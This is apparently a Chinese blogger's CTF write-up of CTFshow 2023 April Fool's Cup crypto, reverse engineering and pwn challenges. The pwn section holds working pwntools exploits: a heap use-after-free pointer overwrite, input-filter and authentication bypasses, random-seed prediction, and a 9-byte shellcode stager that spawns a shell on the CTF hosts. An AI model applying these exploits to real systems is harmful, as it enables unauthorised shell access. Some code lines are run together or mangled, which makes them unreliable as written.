> 文章列表 > [ctfshow 2023 愚人杯] crypto,rev,pwn

[ctfshow 2023 愚人杯] crypto,rev,pwn

[ctfshow 2023 愚人杯] crypto,rev,pwn

这个愚人杯很厉害呀,感觉脑子不够用的。

第1个热身题,啥都没有,就一句提示“flag是一个不能说的秘密”我想了一天,第二天才想出来。

其它题也都很不错,一直没时间,看了部分别人的,现在babyre还没完成。

Crypto

easybase

显然是个base的题,题目是个hex的串,16-32-64就出来了

大牛的密码

一个查表题类sbox,encrypt1比较复杂但没用到,encrypt2是个查表

from Crypto.Util.number import *
from flag import flag
from Crypto.Util.Padding import pad
from random import *
def s_box(a):box=[i for i in range(a)]shuffle(box)return box
BLOCK=16
flag=pad(flag,BLOCK)
S_BOX=s_box(len(flag))
m=[i for i in flag]
def swap(a,b):tmp = aa = bb = tmp
def encrypt1(m):enc=[m[i:i+BLOCK] for i in range(0,len(m),BLOCK)]for i in enc:for j in range(BLOCK):aa=j*7%BLOCKswap(i[j],i[aa])
def encrypt2(m):for i in range(16):m=[m[i] for i in S_BOX]return m
encrypt1(m)  #未参与加密
c=encrypt2(m)
print(S_BOX)
print(c)

直接查回来即可

s_box = [9, 31, 32, 38, 20, 1, 22, 4, 8, 2, 11, 21, 7, 18, 46, 23, 34, 3, 19, 12, 45, 30, 27, 37, 5, 47, 28, 36, 0, 43, 39, 10, 29, 14, 40, 24, 33, 16, 17, 6, 42, 15, 26, 41, 44, 25, 35, 13]
c = [99, 111, 102, 11, 107, 49, 11, 53, 121, 48, 114, 117, 11, 95, 112, 95, 109, 115, 11, 95, 101, 95, 119, 117, 79, 123, 111, 48, 110, 95, 121, 116, 121, 125, 116, 11, 119, 11, 97, 67, 11, 11, 11, 11, 11, 99, 110, 104]for i in range(16):m = [0]*len(s_box)for j,v in enumerate(c):m[s_box[j]] = v c = mbytes(m)
#ctfshow{y0u_c5n_make_y0u1_own_CryptO}

comedy

flag分两部分,第1部分是个有限域算式,但域(flag第2部分)没直接给出

import gmpy2, libnum
from secret import flag1, flag2m = libnum.s2n(flag1)
assert m.bit_length() < 200
B = gmpy2.next_prime(libnum.s2n(flag2))
A = (2022 - 2023 * m) % B
leak = pow(2, 2023, B)
print(A)
print(leak)

根据第1个式子,虽然不能直接算出B,但可以算出包含因子B的数

leak = pow(2, 2023, B)   =>  k*B = 2^2023 - leak 

然后以nb为域,A-2022+2023*x 是nb的因子,用CopperSmith方法求部分p

A = 493275281479560936332761096886786925792234184811353209227551802099268192839677496844153534128991899414803550843408607188612593757622064753867565869035222715177143938385039508273050267347710495512806264863554858016145161165422812554800693811328453743229819656381224407015421235005940088439590887928051969351426291843586132741521121351667152673680122929827805479163871436776753859965413192837591532468372
leak = 238829196127128263156194898141748280130190920343265228257398802867203846004703877952990524473329125233083096275276064071930416561616135910190674099345267027039386328203653489152769309498199556401574021633071022874689081585677578010276529507102304828451681000682208089162940529052283763507244593173690786957816545746540436261888398732172965945762569416702401859253725696471593023885944262561159982327952nb = 22023 - leakP.<x> = PolynomialRing(Zmod(nb))
f = A-2022+2023*x 
g = f.monic()
m = g.small_roots(X=2^200, beta=0.4)[0]
B = f(m)
print(long_to_bytes(m)+long_to_bytes(B))
#m = 2438621860802508754666419561610531898810985542251330229087
#ctfshow{UNKNOWN_MODULUS_T0_BR1NG_L3UGHTER_AND_J@Y_TO_TH3_W0RLD}

 ecc_mini

一个椭圆曲线的题,

from Crypto.Util.number import *
from secret import flag
flag=bytes_to_long(flag)
a =getPrime(256)
b =getPrime(256)
p =getPrime(256)
m1=int(str(flag)[:5])-4585
m2=int(str(flag)[5:])
#EllipticCurve([a1, a2, a3, a4, a6]) -- y^2+(a1)xy+(a3)y=x^3+(a2)x^2+(a4)x+(a6)
E = EllipticCurve(GF(p), [a, b])
X=E.lift_x(m1)
Y=7*X
m = E.random_point()
G = E.random_point()
k = getPrime(256)
K = k * G
r = getPrime(256)
c1 = m + r * K
c2 = r * G
w2=m[0]*m2
print(f"p = {p}")
print(f"a = {a}")
print(f"b = {b}")
print(f"k = {k}")
print(f"E = {E}")
print(f'Y = {Y}')
print(f"c1 = {c1}")
print(f"c2 = {c2}")
print(f"w2 = {w2}")

题目flag分两部分,第1部分5字节很小,代码第一部分给定Y,且Y=7X求X,由于椭圆曲线没有除法,所以不能直接除,不过由于参数很小,可以爆破

p = 71397796933602469825964946338224836258949974632540581233301840806613437378503
a = 106105288190268015217241182934677375171023341761047638573248022053052499733117
b = 76170541771321874396004434442157725545076211607587599314450304327736999807927
k = 58155941823118858940343657716409231510854647214870891375273032214774400828217
w2 = 16315249811700998894876359855091105114973337718373913477026230968747515636405#求m2
E = EllipticCurve(GF(p), [a, b])
Y = E(33237936857741483513705672980652927705102229733798436323453609986072499230366,52619411226266177137991318059937693955038910547834999771526408984808553907338)
c1 = E(37414446283406201193977113266234367761786780230360175925999700345196415953455,17037724145039910971426670298726906655653040365428438334942732090559637519851)
c2 = E(60560423732267272277570046154733119097475794979191838027420415113112056962844,54372226143125971429691267751299496959531971082475860532181772357190222938465)#爆破m1
for i in range(10000, 99999):if i%1000 == 0:print('.')try:tmp = E.lift_x(i - 4585)ty = 7*tmpif ty == Y:print(i)breakexcept:pass#m1 = 62428

第二块是个算式,可以推出来

c1 = m + rK; K = k*G; c2 = r*G => c1 - k*c2 = m

m = c1 - k*c2
#w2 = m[0]*m2 
m2 = (w2 * inverse_mod(m[0], p))%p
#m2 = 7196365442241205186856420688221367789171469258517476477

最后组装在一起(是字符串连接不是加法)

#3
from Crypto.Util.number import *
flag = 624287196365442241205186856420688221367789171469258517476477
print(long_to_bytes(flag))
#ctfshow{the_answer_is_it}

easy_xor

assert len(flag[8:-1])==23
m = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
n = p*q
e = 65537
c1 = m^p
c2 = pow(m,e,n)
print(f'c1 = {c1}')
print(f'c2 = {c2}')
print(f'n = {n}')

题目给出m是32位,相比p(1024)来说很小,给的c1=m^p其实只是异或了后边256位,也就是说这是个部分泄露的题,用coppersmith方法

c1 = 151198307301713399973545627808177783191262282577048906899567665485020342464366268384613589477129150406859219553325982275344405383612415523342568367197935454935162234419239807109194526080836070453102172720442102673200212658553214847476648456720629906051324248179394810385918370092764118401652990951968387233220
c2 = 7894512574379281106340582833782408137686355961537832816105517328532111343730615739255485918919146012721446905489729048235088965936700563973759759039693443386542070451737445467143517377017890468837697907596398070608179281207203217576205857817411996178441661371846647602166663752324880657668362355493701482869858528298247422875427747085642627978367348931707497113936723122393282697211257939351221141536029828744507560524637999804394951722319070365576391442828074457050403771353328835153787572457070779602728359333021922987279454923820866436212282592764768470608545881718922440010751845730974331917142224339664090863915
n = 20873587976264698212013861921447267548758723109929620330136081844796427967720295581580927324390713931549639540337285515365487607593546367886570408812338077846317206794057714877394609181224434104303259411081376607299962306250984285173463537669954845497211859940191392861121877814873939865829555350848523691546006073264112091406848179785659505299775196062799482197712761744192962658799557108701192680225134300686608396391566674966897700511638643429161735764600752699251493599533703928135311599575989253347234975026924804433742500175666009324057320386262109587593814197687132304704244158862263859846356497849518103755981#flag 256位, p 前1024-256位已知
pa = c1>>256P.<x> = PolynomialRing(Zmod(n))
f = (pa<<256)+x
g = f.monic()
k = g.small_roots(X=2256, beta=0.4)p = f(k[0])
assert n%p == 0 flag = c1^^int(p) 
long_to_bytes(flag)
#ctfshow{m_xor_p_but_coppersmith}

总体来说密码这块还是比较简单的

pwn

pwn这块几个题的问的别人,很多细节没看仔细,所以没找到切入点

check_in

一个堆题,有add,free,show但是是个静态题PIE也没开,地址都知道了show没用只是用来调起后门,在free时有UAF漏洞,分管理块和数据块,只需要建两个大块释放后建小块控制管理块里的指针就OK了,问题是需要找到到shell的入口

unsigned int del_note()
{int v1; // [esp+4h] [ebp-14h]char v2[4]; // [esp+8h] [ebp-10h] BYREFunsigned int v3; // [esp+Ch] [ebp-Ch]v3 = __readgsdword(0x14u);printf("Index :");read(0, v2, 4);v1 = atoi((int)v2);if ( v1 < 0 || v1 >= count ){puts("Success!");exit(0);}if ( notelist[v1] ){free(*(_DWORD *)(notelist[v1] + 4));free(notelist[v1]);puts("Fail");}return __readgsdword(0x14u) ^ v3;
}

在程序里有system,do_system结果都不成功,看别人的提示,有一个__libc_start__main(注意这里start和main中间是两个下划线)这是在考眼力啊。

int _libc_start__main()
{return system((int *)"sh");
}
from pwn import *#p = process('./check-in.check-in')
p = remote('pwn.challenge.ctf.show', 28108)
context(arch='i386', log_level='debug')elf = ELF('./check-in.check-in')def add(size, msg):p.sendlineafter(b"chioce :", b'1')p.sendlineafter(b"Note size :", str(size).encode())p.sendafter(b"Content :", msg)def free(idx):p.sendlineafter(b"chioce :", b'2')p.sendlineafter(b"Index :", str(idx).encode())def show(idx):p.sendlineafter(b"chioce :", b'3')p.sendlineafter(b"Index :", str(idx).encode())add(0x10, b'A')
add(0x10, b'A')
free(0)
free(1)add(8, p32(elf.sym['__libc_start__main'])) #not __libc_start_main
show(0)
p.interactive()

easy_sql

这个也是看别人才完成,漏洞比较隐密

先是一个检查,gets溢出可以绕过

int __cdecl main(int argc, const char argv, const char envp)
{int result; // eaxauth_user = (char *)malloc(0x20uLL);signal(14, exitfunc);alarm(0x28u);puts(a2);puts(a0);puts(a2_0);puts(a3);puts(a0_0);puts(a4);puts(a1);validate_demo_activation_code();              // CTFshow-demo-code-admin  yesif ( *((_DWORD *)auth_user + 8) != 'yes' )exit(0);puts("Welcome to CTFshow-sql!");puts("This project was made as an extention to the super successful project, sabataD!");puts("Valid queries are read, write. You are only allowed to access /home/ctf/database.txt!");f_menu();return result;
}
int validate_demo_activation_code()
{printf("%s", "Demo activation code: ");fflush(_bss_start);fgets(auth_user, 36, stdin);if ( !strcmp("CTFshow-demo-code-admin", auth_user) && *((_DWORD *)auth_user + 8) == 0x796573 )return puts("Demo access granted!");elsereturn puts("Demo access not granted!");
}

然后是个循环可以读文件和写文件,显然写没有意义,就看读就行了

void f_0()
{do{while ( 1 ){while ( 1 ){printf("%s", "Query: ");fflush(_bss_start);fgets(a_1, 20, stdin);if ( !strstr(a_1, "read") )break;if ( ++a_3 > 2 )goto LABEL_3;f_read();                               // read}if ( strstr(a_1, "write") )break;puts("Unrecognised command!");}f_write();                                  // write++a_3;}while ( a_3 <= 2 );
LABEL_3:printf("You have exhausted the request limit for your CTFshow-sql demo!");exitfunc((int)"You have exhausted the request limit for your CTFshow-sql demo!");
}

读的时候有个漏洞,a_0在检查通过后会置为1,而检查时用的&&,是说只要一次检查通过以后就不检查了,这个点一直没看到。因为后边有用子进程,然后就一直想子进程的事,大意了。

int f_read()
{int result; // eaxprintf("%s", "database to read from: ");fflush(_bss_start);fgets(e_0, 100, stdin);strtok(e_0, "\\n");if ( (strstr(e_0, "flag") || strchr(e_0, 42) || strchr(e_0, 63)) && !a_0 )// 第1次通过检查后a_0置1,第2次不检查直接通过{result = puts("You are not allowed access to that database!");a_0 = 0;}else{a_0 = 1;if ( access(e_0, 0) == -1 ){return puts("Tried to open non-existing database");}else{printf("%s", "database to read: ");fflush(_bss_start);fgets(e_1, 7, stdin);e_2 = atoi(e_1) + 1;pthread_create(&k_1, 0LL, f_4, 0LL);result = pthread_join(k_1, 0LL);a_0 = 0;}}return result;
}

所以只要随便输点啥,不输也行先检查通过一次,然后再输入flag就可以获取文件了

from pwn import *p = process('./easy_sql.sql')
#p = remote('pwn.challenge.ctf.show', 28108)
context(arch = 'amd64', log_level='debug')p.sendlineafter(b"Demo activation code: ", b"CTFshow-demo-code-admin".ljust(32, b'\\x00')+ b'sey')p.sendlineafter(b"Query: ", b'read')
p.sendlineafter(b"database to read from: ", b'')  #check OK a_0=1p.sendlineafter(b"Query: ", b'read')
p.sendlineafter(b"database to read from: ", b'flag') #a_0==1 pass check
p.sendlineafter(b"database to read: ", b'xxx')
p.recv()p.interactive()

easy_login

题目代码很长,第一步是在login和register之间选择,在堆里用户名结构是64字节:

name:30    password:30    state:4

在login里读入里用的n是0x23正好可以溢出写到state,给它置位。

int m_login()
{int result; // eaxchar v1; // [rsp+Bh] [rbp-5h]int i; // [rsp+Ch] [rbp-4h]printf("Username: ");fflush(stdout);fgets((char *)ptr + 64 * (__int64)dword_203040, n, stdin);// 35printf("Password: ");fflush(stdout);fgets((char *)ptr + 64 * (__int64)dword_203040 + 30, n, stdin);strtok((char *)ptr + 64 * (__int64)dword_203040, "\\n");strtok((char *)ptr + 64 * (__int64)dword_203040 + 30, "\\n");for ( i = 0; i < dword_203040; ++i ){if ( !strcmp("CTFshow-admin", (const char *)ptr + 64 * (__int64)i)&& !strcmp("CTFshow-password", (const char *)ptr + 64 * (__int64)i + 30)&& *((_DWORD *)ptr + 16 * (__int64)i + 15) == 'wat' ){printf("Succesfully logged in as user: %s", (const char *)ptr + 64);result = i;dword_20303C = i;return result;}}puts("Incorrect credentials, would you like to register instead?");printf("[y/n]: ");fflush(stdout);v1 = getchar();result = getchar();if ( v1 == 'y' )return m_register();return result;
}

然后要对照数组输入数据,程序写的很乱,用getc代替gets或者scanf,其实就是用空格分隔的4个串,但最后一个串不会加\\0这个得自己写,getc调起来很麻烦,一句句调。

void __fastcall vuln2(__int64 a1)
{char v1; // [rsp+1Bh] [rbp-A5h]int i; // [rsp+1Ch] [rbp-A4h]int j; // [rsp+20h] [rbp-A0h]int v4; // [rsp+24h] [rbp-9Ch]int v5; // [rsp+28h] [rbp-98h]char s[32]; // [rsp+30h] [rbp-90h] BYREFchar v7[32]; // [rsp+50h] [rbp-70h] BYREFchar v8[32]; // [rsp+70h] [rbp-50h] BYREFchar v9[40]; // [rsp+90h] [rbp-30h] BYREFunsigned __int64 v10; // [rsp+B8h] [rbp-8h]v10 = __readfsqword(0x28u);v5 = 1;while ( 1 ){v4 = 0;memset(s, 0, sizeof(s));memset(v7, 0, sizeof(v7));memset(v8, 0, sizeof(v8));memset(v9, 0, 0x20uLL);                     // +8fflush(stdout);fflush(stdin);if ( v5 == 1 )v5 = 0;else++v5;fflush(stdout);for ( i = 0; i <= 3 && !v4; ++i )           // 竖向输入,回车或*结束,可能溢出{for ( j = 0; ; ++j ){v1 = getchar();if ( v1 == ' ' )goto LABEL_22;if ( i == 1 ){v7[j] = v1;}else if ( i > 1 ){if ( i == 2 )v8[j] = v1;v9[j] = v1;}else if ( !i ){s[j] = v1;}if ( v1 == '*' || v1 == '\\n' )break;}v4 = 1;fflush(stdin);
LABEL_22:if ( i == 1 ){v7[j + 1] = 0;}else if ( i > 1 ){if ( i == 2 )v8[j + 1] = 0;v9[j + 1] = 0;}else if ( !i ){s[j + 1] = 0;}}vuln3(s, v7, v8, v9, a1);fflush(stdout);}
}

主要是看代码的工夫。

from pwn import *#p = process('./easy_login.login')
p = remote('pwn.challenge.ctf.show', 28110)
context.log_level = 'debug'#gdb.attach(p)#login
p.sendlineafter(b"-- CTFshow Fool's Day terminal based application --\\n", b'l')
p.sendlineafter(b"Username: ", b"CTFshow-admin")
p.sendafter(b"Password: ", b"CTFshow-password".ljust(30,b'\\x00')+p32(0x776174))
p.sendlineafter(b"[y/n]: ", b'n')sleep(0.2)
a = ['Fool','Jazz','Mingus','Hat\\x00']
a = ' '.join(a)
p.sendline(a.encode())
#p.recvline()p.interactive()

babypad

这个一层层菜单进,最后猜一个随机数,不过会反馈大还是小,而且无次数限制,猜对既可。

unsigned __int64 game()
{int v1; // [rsp+0h] [rbp-10h] BYREFint v2; // [rsp+4h] [rbp-Ch]unsigned __int64 v3; // [rsp+8h] [rbp-8h]v3 = __readfsqword(0x28u);v2 = rand() % 10000 + 1;v1 = 0;while ( 1 ){while ( 1 ){printf(aStart);__isoc99_scanf(&unk_4025CB, &v1);if ( v2 >= v1 )break;puts("B");}if ( v2 <= v1 )break;puts("S");}puts("Great");puts("Give you some gift!");_libc_start__main();return __readfsqword(0x28u) ^ v3;
}

这个也走了点弯路。根据提示用二分法

from pwn import *#p = process('./babypad')
p = remote('pwn.challenge.ctf.show', 28111)
context(arch='i386', log_level='debug')elf = ELF('./babypad')p.sendlineafter(b'>>>', b'A')
p.sendlineafter(b'>>>', b'8')
p.sendlineafter(b'>>>', b'8')p.sendlineafter(b'>>>', b'D') #-->error_message
p.sendlineafter(b'>>>', b'1')
p.sendline(b'6')
p.sendlineafter(b'Th13_13_ju3t_@_j03ke!',b'3')
p.sendlineafter(b'Choice:', b'1')left,right = 1,10000while left<right:v = ( left + right ) // 2print(v)p.sendlineafter( b"Start\\xef\\xbc\\x9a", str(v).encode() )ret = p.recvline()if b'B\\n' == ret:right = velif b'S\\n' == ret:left = velif b'Great\\n' == ret:print('OK')p.interactive()else:pass

看了stone-san的WP,原来可以很简单

srand(time(0)) 是拿当时时间的秒数(从计算机开始点算)当种子,现在计算机都时钟都与标准时间同步,所以在本地也用这个时间就能完成,根本不用去猜。

libc.srand(libc.time(0))
a = str(libc.rand() % 10000 + 1).encode()
sl(a)

baby_shellcode

这个题感觉见过,当时就没弄出来。可以输入9个字符,然后用这9个字符去异或48的密文,恢复shellcode然后执行。

signed __int64 read_code_9()
{return sys_read(0, buf, 9uLL);
}__int64 __fastcall run_xor(_BYTE *enc, __int64 len, unsigned __int64 key, unsigned __int64 key_len)
{unsigned __int64 v6; // rsiunsigned __int64 v7; // r8__int64 v8; // rcxv6 = key;v7 = 0LL;v8 = 0LL;while ( v8 != len )                           // 0x48{enc[v8] ^= *(_BYTE *)(v6 + v7);v8 = (unsigned int)(v8 + 1);key = (v7 + 1) % key_len;v7 = key;}return ((__int64 (__fastcall *)(_BYTE *, unsigned __int64, unsigned __int64, __int64, unsigned __int64, unsigned __int64))enc)(enc,v6,key,v8,v7,key_len);
}

一开始想这里边怎么也得有/bin/sh,或者/bin///sh和syscall吧,但是确实没有。后来一起能不能只用9字节造成shellcode呢,一试还真可以。只需要弄个read(0,buf,n)就行了。

这里需要rax=0,rdi=0,rsi=0x60013f附近,rdx=不太小的数

9字节肯定是不行,gdb跟进到执行时发现

rsi = 0x600136

r10 = 0x48

这样xor rax,rax 两字节,xor rdi,rdi 两字节,mox rdx,r10 3字节,syscall两字节正好。rdi比目的地小点但rdx足够大可以填充。

from pwn import *p = remote('pwn.challenge.ctf.show', 28112)context(arch='amd64', log_level='debug')xcode = bytes.fromhex('b3917fdd6281116a90')#rsi = 0x600136
#r10 = 0x48
#read(0, 0x600136, 0x48)
a = 'xor eax,eax;xor edi,edi;mov rdx,r10;syscall'
x = xor(asm(a), xcode[:9])p.send(x)
p.send(b'\\x90'*20 + asm(shellcraft.sh()))p.interactive()

REV

easy_pyc

目前流行的pyc反编译都手搓字节码,但这题显然减小难度,可以直接反编译出python代码

print 'Welcome to CTFshow Re!'
print 'your flag is here!'
flag = ''
l = len(flag)
for i in range(l):num = ((flag[i] + i) % 114514 + 114514) % 114514code += chr(num)code = map(ord, code)
for i in range((l - 4) + 1):code[i] = code[i] ^ code[i + 1]print code
code = ['%16','%1d','%1e','%1a','%18','\\t','%ff','%d0',',','%03','%02','%14','8','m','%01','C','D','%bd','%f7','*','\\r','%da','%f9','%1c','&','5',"'",'%da','%d4','%d1','%0b','%c7','%c7','%1a','%90','D','%a1']

先异或再移位

code = b'\\x16\\x1d\\x1e\\x1a\\x18\\t\\xff\\xd0,\\x03\\x02\\x148m\\x01CD\\xbd\\xf7*\\r\\xda\\xf9\\x1c&5\\'\\xda\\xd4\\xd1\\x0b\\xc7\\xc7\\x1a\\x90D\\xa1'
code = [v for v in code]for i in range(len(code)-4, -1, -1):code[i]^=code[i+1]flag = [v-i for i,v in enumerate(code)]
bytes(flag)#ctfshow{Just_F00l's_D@y_R3_Ch3ck-in!}

easy_re

不清楚为啥杀毒程序会报,本身连壳都没有,就非要杀掉,而且win11更新后还关不掉杀毒软件了。还是linux上好。

程序就一个加密函数,其它就没了

int __cdecl main(int argc, const char argv, const char envp)
{int v3; // ebxint v4; // ecxunsigned int v5; // ediunsigned int v6; // kr00_4int v7; // eaxint v9; // [esp-4h] [ebp-414h]int v10; // [esp+10h] [ebp-400h]int v11; // [esp+18h] [ebp-3F8h] BYREFint v12; // [esp+1Ch] [ebp-3F4h] BYREFchar v13[1004]; // [esp+20h] [ebp-3F0h] BYREFsub_401460(std::cout, byte_4031E8);sub_401700((int)v13);sub_401460(std::cout, byte_4031F8);std::istream::operator>>(std::cin, &v11);std::istream::operator>>(std::cin, &v12);v3 = v11 % 299;v4 = v12 % 299;v5 = 0;v10 = v12 % 299;v6 = strlen(v13);if ( v6 ){do{v9 = dword_403AA0[300 * v3 + v4] ^ v13[v5];v3 = (v9 + v3) % 299;v10 = (v9 + v10) % 300;v7 = std::ostream::operator<<(std::cout, v9);sub_401460(v7, ",");v4 = v10;++v5;}while ( v5 < v6 );}sub_401460(std::cout, asc_403210);return 0;
}

密文在哪呢,直接打开看,原来是misc串门了,是个复合文件,密文在后边

#阿狸托我给您带个话,base64:flag。。。不好,忘了加密了,重来
a = [90,171,198,235,229,43,246,92,198,203,233,228,6,128,215,68,201,4,220,214,169,245,208,199,112,170,119,251,244,58,237,4,70,231,200,45,186,137,247,225,243,13,145,139,190,146,194,242,253,56,239,5,41,225,105,51,247,79,170,231,88,64,224,138,222,220,229,88,43,117,236,189,228,205,150,65,26,205,232,141,116,149,185,89,212,251,16,215,205,17,238,22,245,77,220,198,224,248,223,209,205,167,223,210,165,247,190,3,5,246,243,228,181,33,42,207,174,138,244,118,192,22,219,60,80,229,144,219,133,211,221,229,190,58,151,240,183,207,221,60,77,217,220,74,105,220,221,165,85,174,43,183,188,190,252,255,130,137,189,201,239,181,150,143,214,203,26,211,103,222,105,87,214,179,83,185,104,206,229,172,221,117,163,57,106,200,46,165,193,135,243,166,168,209,144,52,210,12,58,10,103,5,211,55,172,76,88,250,136,245,167,139,241,26,92,97,139,241,137,27,53,211,251,191,240,173,14,231,241,242,255,122,144,97,234,36,175,155,253,35,156,229,19,166,191,140,195,218,130,35,200,178,245,41,162,243,214,222,87,83,195,144,55,159,208,241,193,233,204,228,196,105,84,58,220,226,1,47,248,138,177,124,236,53,210,79,250,106,27,244,251,203,210,103,213,218,183,4,40,28,12,175,52,224,203,89,176,174,175,233,43,20,103,152,201,4,148,76,241,103,135,139,136,246,80,184,255,194,149,239,206,207,246,166,20,63,202,199,177,214,60,99,74,211,219,94,247,193,40,212,197,175,30,244,41,24,113,27,249,213,225,55,188,193,165,220,174,252,105,154,74,126,174,255,110,169,103,44,246,255,98,251,211,87,171,62,67,250,69,149,18,77,159,137,168,231,187,97,174,115,243,44,128,151,90,246,83,11,138,67,184,22,53,228,230,252,76,112,20,136,131,90,233,248,67,207,61,212,113,62,239,203,201,66,83,179,16,209,253,63,206,208,101,150,196,145,101,220,22,79,241,69,237,219,97,87,20,22,240,244,218,7,237,42,14,8,38,115,141,102,206,191,142,55,196,200,142,98,16,129,53,52,50,197,53,219,2,66,152,192,245,243,69,26,132,240,164,90,246,200,53,89,221,119,139,76,47,132,53,47,249,26,53,141,113,69,76,152,121,193,53,176,97,135,205,206,237,108,251,38,216,108,12,220,209,194,26,243,217,231,36,117,235,106,205,43,254,75,209,141,239,200,5,183,219,166,113,9,16,154,116,144,238,208,245,136,173,16,103,107,114,17,208,181,196,98,212,133,211,252]

密文,算法有了就好办了

def encrypt(k1,k2, plain):for i in range(len(plain)):v9 = d_3aa0[300*k1+k2]^plain[i]k1 = (v9+k1)%299k2 = (v9+k2)%300print(f'{v9},')from base64 import *def decrypt(k1,k2, cipher):tk1,tk2 = k1,k2m = []x = []for v9 in cipher[::-1]:k1 = (k1-v9)%299k2 = (k2-v9)%300m.append(d_3aa0[300*k1+k2] ^ v9)x.append(d_3aa0[300*k1+k2])flag = bytes(m[::-1])#print(flag[:10],k1,k2)if all([1 if v<0x7f else 0 for v in flag]):print(flag,k1,k2,tk1,tk2)print(bytes(x).decode('utf-8'))from pwn import u32 data = open('re1.exe', 'rb').read()[0x28a0: 0x5a6e0]
d_3aa0 = [u32(data[i:i+4]) for i in range(0, len(data), 4)]for k1 in range(299):for k2 in range(300):decrypt(k1,k2,a)

出来base64的密文,解出来是个提示

msg ='ZmxhZ+S4jeWcqOi/memHjOWRpiwK5bCx5YOP55Sf5rS777yMCuS9oOi3qOi/h+S6huS6uuWxseS6uua1t++8jArkvaDot6jov4fkuobmmI7mnIjmuIXpo47vvIwK5L2g6KeB6L+H5LqG5LiJ5pu054Gv54Gr77yMCuS9oOingei/h+S6hum7juaYjueahOWfjuW4guOAggoK5L2g6KeJ5b6X5L2g5bey57uP6Laz5aSf5Yqq5Yqb77yMCuS9oOinieW+l+S9oOeQhuW6lOegtOa1quS5mOmjjuOAggrkvaDmu6HouqvnlrLmg6sK5L2g562L55ay5Yqb56utCgrlj6/mg5zvvIznvZfpqazkuI3lnKjliY3mlrnjgIIK5oiW6ICF77yM572X6ams5rC46L+c5Zyo5YmN5pa577yMCuWcqOWIq+S6uuWHuueUn+eahOWcsOaWueOAggoK5pys54u477yM5by654OI5bu66K6u5L2g5Zue5Yiw5pyA5Yid55qE5Zyw5pa5CuWlveWlveeglOeptuS4i+WKoOWvhuefqemYtQrmnInmg4rllpzlk6YK'
b = b64decode(msg).decode('utf-8')
b = 'flag不在这里呦,\\n就像生活,\\n你跨过了人山人海,\\n你跨过了明月清风,\\n你见过了三更灯火,\\n你见过了黎明的城市。\\n\\n你觉得你已经足够努力,\\n你觉得你理应破浪乘风。\\n你满身疲惫\\n你筋疲力竭\\n\\n可惜,罗马不在前方。\\n或者,罗马永远在前方,\\n在别人出生的地方。\\n\\n本狸,强烈建议你回到最初的地方\\n好好研究下加密矩阵\\n有惊喜哦\\n'

加密矩阵300*300跟个图似的,一开始把可见字符弄出来,结果看不清,不过也能提交正确。然后想到跟是不是可见字符无关,字符代表灰度

from pwn import u32 data = open('re1.exe', 'rb').read()[0x28a0: 0x5a6e0]
d_3aa0 = [u32(data[i:i+4]) for i in range(0, len(data), 4)]from PIL import Image 
img = Image.new('L', (300,300))
for i in range(299):for j,v in enumerate(d_3aa0[i*300: i*300+300]):img.putpixel((i,j),v)img.save('a.png')
img.show()
#ctfshow{d244daeb-7182-4c98-bec6-0c99329ab71f}

出来 的图镜像一下

 easy_cc

上边那题那么繁杂这题突然变简单了,就是个异或

int __cdecl main(int argc, const char argv, const char envp)
{int v3; // esiFILE *v4; // eaxsize_t v5; // eaxunsigned int v6; // ecxunsigned int v7; // kr00_4unsigned int v8; // kr04_4unsigned int v9; // esiunsigned int v10; // kr08_4char *v11; // ebxunsigned int v12; // esiint v13; // eaxint v15; // [esp-4h] [ebp-20Ch]char v16[204]; // [esp+0h] [ebp-208h] BYREFchar v17[204]; // [esp+CCh] [ebp-13Ch] BYREFchar Buffer[100]; // [esp+198h] [ebp-70h] BYREFchar v19[8]; // [esp+1FCh] [ebp-Ch] BYREFstrcpy(v19, "key123");sub_401010((char *)&Format, v16[0]);v4 = _acrt_iob_func(0);fgets(Buffer, 100, v4);v5 = strcspn(Buffer, "\\n");if ( v5 >= 0x64 )goto LABEL_16;v15 = v3;Buffer[v5] = 0;v6 = 0;v7 = strlen(Buffer);if ( v7 ){v8 = strlen(v19);do{v17[v6] = Buffer[v6] ^ v19[v6 % v8];++v6;}while ( v6 < v7 );if ( v6 >= 0xC9 )goto LABEL_16;}v17[v6] = 0;v9 = 0;v10 = strlen(v17);if ( v10 ){v11 = v16;do{sub_401040(v11, "%02x", v17[v9++]);v11 += 2;}while ( v9 < v10 );}v12 = 2 * v9;if ( v12 >= 0xC9 ){
LABEL_16:__report_rangecheckfailure(v15);__debugbreak();}v16[v12] = 0;sub_401010("\\n", v15);v13 = strcmp(v16, "08111f425a5c1c1e1a526d410e3a1e5e5d573402165e561216");if ( v13 )v13 = v13 < 0 ? -1 : 1;if ( v13 )sub_401010("flag is false: ", v16[0]);elsesub_401010("flag is true: ", v16[0]);system("pause");return 0;
}
a = "08111f425a5c1c1e1a526d410e3a1e5e5d573402165e561216"
b = bytes.fromhex(a)
key = b'key123'
from pwn import xor
xor(b,key)
#b'ctfshow{cc_re_good_good!}'

babyre2

这个没完成,杀进程和子进程同步,gdb都不知道跟哪。等着看别人的WP吧